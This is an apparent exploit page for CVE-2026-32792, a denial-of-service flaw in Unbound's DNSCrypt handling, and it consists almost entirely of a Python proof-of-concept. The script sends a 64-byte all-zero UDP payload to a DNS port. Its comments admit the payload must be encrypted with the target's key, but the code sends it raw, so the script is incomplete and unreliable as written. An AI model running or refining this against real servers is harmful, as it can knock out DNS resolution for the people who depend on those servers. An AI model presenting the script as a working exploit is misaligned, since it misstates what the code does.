CVE-2026-32792 NLnet Labs Unbound DNSCrypt拒绝服务漏洞

import socket # PoC for CVE-2026-32792 # This script sends a malicious DNSCrypt query payload to test the vulnerability. # Note: The payload must be encrypted with the target server's public key # to pass the initial decryption step and reach the vulnerable parsing logic. target_ip = "127.0.0.1" target_port = 53 # Malicious payload: Decrypted plaintext consisting entirely of 0x00 bytes # without the expected 0x80 marker. # The length should be sufficient to trigger the underflow/read overflow. # Assuming a typical DNSCrypt query structure, we craft a minimally valid # header filled with zeros. payload = b'\x00' * 64 # Example length, adjust based on specific dnscrypt padding requirements # In a real exploit scenario, this payload needs to be encrypted using # the DNSCrypt shared secret derived from the target's public key. # encrypted_payload = dnscrypt_encrypt(payload, public_key) # For demonstration, we send the raw payload structure (conceptual). # This requires the server to be configured with a specific client key # or the encryption logic to be bypassed for testing purposes. try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload, (target_ip, target_port)) print(f"Malicious packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"Error sending packet: {e}")